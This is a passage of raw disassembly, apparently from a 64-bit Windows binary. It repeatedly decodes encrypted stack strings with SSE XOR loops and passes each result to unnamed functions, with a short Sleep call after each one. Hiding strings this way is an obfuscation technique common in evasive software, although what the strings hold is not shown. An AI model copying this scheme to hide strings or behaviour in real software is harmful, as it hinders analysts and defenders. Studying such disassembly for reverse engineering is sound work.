mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140020040
cmp r8d, 0x7b
jge 0x140020190
movsxd rax, r8d
lea r9, [rbp + 0xa530]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x140020160
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x2d8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xa530]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400201b0
lea rdx, [rbp + 0xa530]
lea rcx, [rbp + 0x2d8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x2d8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x2d8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c14a0]
movups xmmword [rbp + 0x8930], xmm0
movups xmm1, xmmword [0x1400c14b0]
movups xmmword [rbp + 0x8940], xmm1
movups xmm0, xmmword [0x1400c14c0]
movups xmmword [rbp + 0x8950], xmm0
movups xmm1, xmmword [0x1400c14d0]
movups xmmword [rbp + 0x8960], xmm1
movups xmm0, xmmword [0x1400c14e0]
movups xmmword [rbp + 0x8970], xmm0
movups xmm1, xmmword [0x1400c14f0]
movups xmmword [rbp + 0x8980], xmm1
movups xmm0, xmmword [0x1400c1500]
movups xmmword [rbp + 0x8990], xmm0
movzx eax, word [0x1400c1510]
mov word [rbp + 0x89a0], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x89a2], al
mov r8d, ebx
cmp edi, 2
jl 0x1400203b5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x8934]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x1400202b0
cmp r8d, 0x73
jge 0x140020400
movsxd rax, r8d
lea r9, [rbp + 0x8930]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x73
jl 0x1400203d0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x2f8]
call fcn.140004bf0
nop
lea rax, [rbp + 0x8930]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020420
lea rdx, [rbp + 0x8930]
lea rcx, [rbp + 0x2f8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x2f8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x2f8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bd750]
movups xmmword [rbp + 0x89b0], xmm0
movups xmm1, xmmword [0x1400bd760]
movups xmmword [rbp + 0x89c0], xmm1
movups xmm0, xmmword [0x1400bd770]
movups xmmword [rbp + 0x89d0], xmm0
movups xmm1, xmmword [0x1400bd780]
movups xmmword [rbp + 0x89e0], xmm1
movups xmm0, xmmword [0x1400bd790]
movups xmmword [rbp + 0x89f0], xmm0
movups xmm1, xmmword [0x1400bd7a0]
movups xmmword [rbp + 0x8a00], xmm1
movups xmm0, xmmword [0x1400bd7b0]
movups xmmword [rbp + 0x8a10], xmm0
movzx eax, word [0x1400bd7c0]
mov word [rbp + 0x8a20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x8a22], al
mov r8d, ebx
cmp edi, 2
jl 0x140020625
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x89b4]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x140020520
cmp r8d, 0x73
jge 0x140020670
movsxd rax, r8d
lea r9, [rbp + 0x89b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x73
jl 0x140020640
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x318]
call fcn.140004bf0
nop
lea rax, [rbp + 0x89b0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020690
lea rdx, [rbp + 0x89b0]
lea rcx, [rbp + 0x318]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x318]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x318]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400be3d0]
movups xmmword [rbp + 0x8530], xmm0
movups xmm1, xmmword [0x1400be3e0]
movups xmmword [rbp + 0x8540], xmm1
movups xmm0, xmmword [0x1400be3f0]
movups xmmword [rbp + 0x8550], xmm0
movups xmm1, xmmword [0x1400be400]
movups xmmword [rbp + 0x8560], xmm1
movups xmm0, xmmword [0x1400be410]
movups xmmword [rbp + 0x8570], xmm0
movups xmm1, xmmword [0x1400be420]
movups xmmword [rbp + 0x8580], xmm1
movups xmm0, xmmword [0x1400be430]
movups xmmword [rbp + 0x8590], xmm0
movzx eax, byte [0x1400be440]
mov byte [rbp + 0x85a0], al
mov r8d, ebx
cmp edi, 2
jl 0x140020887
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x8534]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x140020782
cmp r8d, 0x71
jge 0x1400208d0
movsxd rax, r8d
lea r9, [rbp + 0x8530]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x71
jl 0x1400208a0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x338]
call fcn.140004bf0
nop
lea rax, [rbp + 0x8530]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400208f0
lea rdx, [rbp + 0x8530]
lea rcx, [rbp + 0x338]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x338]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x338]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c0040]
movups xmmword [rbp + 0xa5b0], xmm0
movups xmm1, xmmword [0x1400c0050]
movups xmmword [rbp + 0xa5c0], xmm1
movups xmm0, xmmword [0x1400c0060]
movups xmmword [rbp + 0xa5d0], xmm0
movups xmm1, xmmword [0x1400c0070]
movups xmmword [rbp + 0xa5e0], xmm1
movups xmm0, xmmword [0x1400c0080]
movups xmmword [rbp + 0xa5f0], xmm0
movups xmm1, xmmword [0x1400c0090]
movups xmmword [rbp + 0xa600], xmm1
movups xmm0, xmmword [0x1400c00a0]
movups xmmword [rbp + 0xa610], xmm0
movsd xmm0, qword [0x1400c00b0]
movsd qword [rbp + 0xa620], xmm0
movzx eax, word [0x1400c00b8]
mov word [rbp + 0xa628], ax
movzx eax, byte [0x1400c00ba]
mov byte [rbp + 0xa62a], al
mov r8d, ebx
cmp edi, 2
jl 0x140020b05
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xa5b4]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140020a00
cmp r8d, 0x7b
jge 0x140020b50
movsxd rax, r8d
lea r9, [rbp + 0xa5b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x140020b20
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x358]
call fcn.140004bf0
nop
lea rax, [rbp + 0xa5b0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020b70
lea rdx, [rbp + 0xa5b0]
lea rcx, [rbp + 0x358]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x358]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x358]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c0d20]
movups xmmword [rbp + 0x9330], xmm0
movups xmm1, xmmword [0x1400c0d30]
movups xmmword [rbp + 0x9340], xmm1
movups xmm0, xmmword [0x1400c0d40]
movups xmmword [rbp + 0x9350], xmm0
movups xmm1, xmmword [0x1400c0d50]
movups xmmword [rbp + 0x9360], xmm1
movups xmm0, xmmword [0x1400c0d60]
movups xmmword [rbp + 0x9370], xmm0
movups xmm1, xmmword [0x1400c0d70]
movups xmmword [rbp + 0x9380], xmm1
movups xmm0, xmmword [0x1400c0d80]
movups xmmword [rbp + 0x9390], xmm0
mov eax, dword [0x1400c0d90]
mov dword [rbp + 0x93a0], eax
movzx eax, byte [0x1400c0d94]
mov byte [rbp + 0x93a4], al
mov r8d, ebx
cmp edi, 2
jl 0x140020d75
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x9334]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x140020c70
cmp r8d, 0x75
jge 0x140020dc0
movsxd rax, r8d
lea r9, [rbp + 0x9330]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x75
jl 0x140020d90
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x378]
call fcn.140004bf0
nop
lea rax, [rbp + 0x9330]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020de0
lea rdx, [rbp + 0x9330]
lea rcx, [rbp + 0x378]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x378]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x378]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bfeb0]
movups xmmword [rbp + 0x96b0], xmm0
movups xmm1, xmmword [0x1400bfec0]
movups xmmword [rbp + 0x96c0], xmm1
movups xmm0, xmmword [0x1400bfed0]
movups xmmword [rbp + 0x96d0], xmm0
movups xmm1, xmmword [0x1400bfee0]
movups xmmword [rbp + 0x96e0], xmm1
movups xmm0, xmmword [0x1400bfef0]
movups xmmword [rbp + 0x96f0], xmm0
movups xmm1, xmmword [0x1400bff00]
movups xmmword [rbp + 0x9700], xmm1
movups xmm0, xmmword [0x1400bff10]
movups xmmword [rbp + 0x9710], xmm0
mov eax, dword [0x1400bff20]
mov dword [rbp + 0x9720], eax
movzx eax, word [0x1400bff24]
mov word [rbp + 0x9724], ax
mov r8d, ebx
cmp edi, 2
jl 0x140020fe5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x96b4]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x140020ee0
cmp r8d, 0x76
jge 0x140021030
movsxd rax, r8d
lea r9, [rbp + 0x96b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x76
jl 0x140021000
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x398]
call fcn.140004bf0
nop
lea rax, [rbp + 0x96b0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140021050
lea rdx, [rbp + 0x96b0]
lea rcx, [rbp + 0x398]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x398]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x398]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c1f60]
movups xmmword [rbp + 0xaab0], xmm0
movups xmm1, xmmword [0x1400c1f70]
movups xmmword [rbp + 0xaac0], xmm1
movups xmm0, xmmword [0x1400c1f80]
movups xmmword [rbp + 0xaad0], xmm0
movups xmm1, xmmword [0x1400c1f90]
movups xmmword [rbp + 0xaae0], xmm1
movups xmm0, xmmword [0x1400c1fa0]
movups xmmword [rbp + 0xaaf0], xmm0
movups xmm1, xmmword [0x1400c1fb0]
movups xmmword [rbp + 0xab00], xmm1
movups xmm0, xmmword [0x1400c1fc0]
movups xmmword [rbp + 0xab10], xmm0
movsd xmm0, qword [0x1400c1fd0]
movsd qword [rbp + 0xab20], xmm0
mov eax, dword [0x1400c1fd8]
mov dword [rbp + 0xab28], eax
movzx eax, byte [0x1400c1fdc]
mov byte [rbp + 0xab2c], al
mov r8d, ebx
cmp edi, 2
jl 0x140021265
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xaab4]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140021160
cmp r8d, 0x7d
jge 0x1400212b0
movsxd rax, r8d
lea r9, [rbp + 0xaab0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x140021280
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x3b8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xaab0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400212d0
lea rdx, [rbp + 0xaab0]
lea rcx, [rbp + 0x3b8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x3b8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x3b8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bd250]
movups xmmword [rbp + 0xa2b0], xmm0
movups xmm1, xmmword [0x1400bd260]
movups xmmword [rbp + 0xa2c0], xmm1
movups xmm0, xmmword [0x1400bd270]
movups xmmword [rbp + 0xa2d0], xmm0
movups xmm1, xmmword [0x1400bd280]
movups xmmword [rbp + 0xa2e0], xmm1
